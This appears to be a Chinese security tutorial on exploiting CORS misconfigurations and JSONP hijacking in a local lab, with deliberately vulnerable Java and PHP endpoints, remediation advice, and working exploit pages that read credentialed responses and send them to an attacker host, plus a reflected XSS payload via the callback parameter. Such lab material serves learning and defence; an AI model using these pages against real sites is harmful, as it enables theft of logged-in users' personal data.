CORS
CORS作用
CORS(跨域资源共享)是用来实现跨域资源访问的,比如a.com
和b.com
2个站,a.com
要访问b.com
的资源,正常情况下是访问不了的。但是有cors就可以利用ajax
来访问b.com
的内容了,并且在一定配置下a.com
甚至可以利用b.com
下的cookie
,又因为是ajax
请求,因此可以使用多种请求头(POST, HEAD, GET)
CORS配置
CORS的配置有2个比较重要的参数,这2个参数是在被请求的站中配置的(这里就是b.com
)并且在请求头中的形式存在,即response
回来的时候会有显示
用来申明什么站可以享有本站的资源
Access-Control-Allow-Origin: evil.com
用来申明是否可以带上cookie
Access-Control-Allow-Credentials: true //true表示可以,false表示不行,默认为false
但是稍微注意下如果是如下配置,虽然可以让任意站访问资源,但是不会带上cookie的
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
在java中可以使用下面函数定义
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie
在php中可以设置下返回的请求头
header("Access-Control-Allow-Origin:http://www.evil.com");
header("Access-Control-Allow-Credentials:true");
CORS带上cookie的利用
整个利用过程有点像CRSF
,即其实是诱导用户去点击恶意的连接,并且把信息发到日志中的效果,用户的cookie是什么只有在用户的浏览器上看得到,而攻击者最多获得返回的结果
带上cookie,并不意味着能拿到cookie,最先我以为是能够拿到对方的cookie的值,但是实际上是拿不到的。举个例子
用户a cookie:user=a;
用户b cokkie:user=b;
请求b.com后,返回信息
用户a {'user': 'a', 'password':'123'}
用户b {'user': 'b', 'password':'456'}
而CORS,假设用户a来触发了这个漏洞,那么攻击者能够获得的是
{'user': 'a', 'password':'123'}
但他并不知道
cookie:user=a;
接下来利用需要2个站,我服务器使用的是github上的一个java漏洞项目:https://github.com/JoyChou93/java-sec-code
漏洞服务器,本机的10.10.10.1:8080/cors/vuls1
恶意脚本网站,虚拟机10.10.10.128/cors/steal.html
在本机10.10.10.1:8080上启动服务,我这里在原先的代码上新加了条cookie
protected static String info = "{"name": "JoyChou", "phone": "18200001111"}";
@RequestMapping("/vuls1")
@ResponseBody
private static String vuls1(HttpServletRequest request, HttpServletResponse response) {
Cookie cookie1=new Cookie("aaa","AAA");
response.addCookie(cookie1);
// 获取Header中的Origin
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie
return info;
}
在虚拟机服务器上的html代码如下
<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
//利用下面代码发送到日志中去
//location="//10.10.10.128/cors/?response="+this.responseText;
}
};
xhttp.open("GET", "http://10.10.10.1:8080/cors/vuls1", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
用ajax
发送跨域请求的时候,它会在请求头自动带上origin字段
此时有一名用户,访问了我本机的服务
10.10.10.1:8080/cors/vuls1
正常获得了以下信息,并且有cookie了
该用户访问恶意网站,那么会出现以下页面
点击exploit后,跳转到index.php页面了,但是信息被记录在攻击者的服务器上了
当然,把跳转发到服务器上给关闭了,查看下network的请求,也可以看到它的一个工作原理
可以看到本来该站没有cookie的,但是把用户10.10.10.1:8080
域下的cookie给发送过去了,并且成功的活动了返回值
CORS不能对cookie的利用
服务器端不需要cookie的话,只需要设置成这样
Access-Control-Allow-Credentials: false
接下来,再试下刚刚的请求方式
cookie依然带着的,但是没有信息回显的情况,可以理解为把cookie传了过去,但是,服务器没有接受处理请求,response的头的Access-Control-Allow-Credentials
是false了
如果利用被设置成false的,可以使用缓存投毒造成xss,但是目前先挖个坑,之后再补上
修复建议
采用白名单的形式对origin进行限制
JSONP劫持
jsonp的作用
jsonp和CORS的作用都是用来跨域获取信息的,而jsonp是用get形式来获取信息,一般是有个叫callback的参数,它会利用去获取服务器的信息,然后将callback的参数作为自己的某个js函数名,来处理收到的数据
服务器端jsonp的写法
在php下可以使用
<?php
header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST ['callback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $callback . "(" . $json_data . ")";
?>
在java下可以这么写
protected static String info = "{"name": "JoyChou", "phone": "18200001111"}";
// http://localhost:8080/jsonp/referer?callback=test
@RequestMapping("/referer")
@ResponseBody
private static String referer(HttpServletRequest request, HttpServletResponse response) {
// JSONP的跨域设置
response.setHeader("Access-Control-Allow-Origin", "*");
String callback = request.getParameter("callback");
return callback + "(" + info + ")";
}
利用
利用方式是在攻击者服务器上创建个html页面,诱导受害者去点击,即可获对应的受害者访问过的取存在漏洞缺陷的网站的个人信息,因为callback回来的js函数是攻击者服务器是的js函数,因此一般这个函数用来打印出获取的信息或者发送到日志里面去
存在jsonp服务器: 10.10.10.1
攻击者服务器:10.10.10.128
漏洞url为10.10.10.1:8080/jsonp/referer
,在攻击者服务器上挂上以下的html页面
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function test(result)
{
alert(JSON.stringify(result))
}
function sendtoserver(result){
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
var url = "http://10.10.10.128/jsonp/index.php?result=" + JSON.stringify(result);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<!--<script type="text/javascript" src="http://10.10.10.1:8080/jsonp/referer?callback=test"></script>-->
<script type="text/javascript" src="http://10.10.10.1:8080/jsonp/referer?callback=sendtoserver"></script>
</body>
</html>
受害者去访问攻击者的服务器url
10.10.10.128/jsonp/index.html
那么就能返回目标在漏洞页面获取的json数据了
造成反射型xss
造成xss是因为没有规定返回值为json格式,而是text格式,所导致的
因为callback可控,而正常情况下是这样的 callback(var)
, 可控的话可以做到这样alert(1)//(var)
<?php
//header('Content-type: application/json');
$callback = $_REQUEST ['callback'];
$json_data='({"id":"1","name":"Aaron"})';
echo $callback . "(" . $json_data . ")";
?>
那么请求下面的url就能触发反射性xss
http://127.0.0.1/tmp/jsonp.php?callback=<script>alert(1)</script>
修复方法
对于xss很简单,直接使用json的返回格式即可
对于劫持可以利用,因为是前端的利用,可以设置referer来设置白名单排除恶意站点,注意下空referer被绕过现象
@RequestMapping("/sec")
@ResponseBody
private static String sec(HttpServletRequest request, HttpServletResponse response) {
// JSONP的跨域设置
response.setHeader("Access-Control-Allow-Origin", "*");
String referer = request.getHeader("referer");
if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) {
return "error";
}
String callback = request.getParameter("callback");
return callback + "(" + info + ")";
}
当然你也可以使用cors
参考: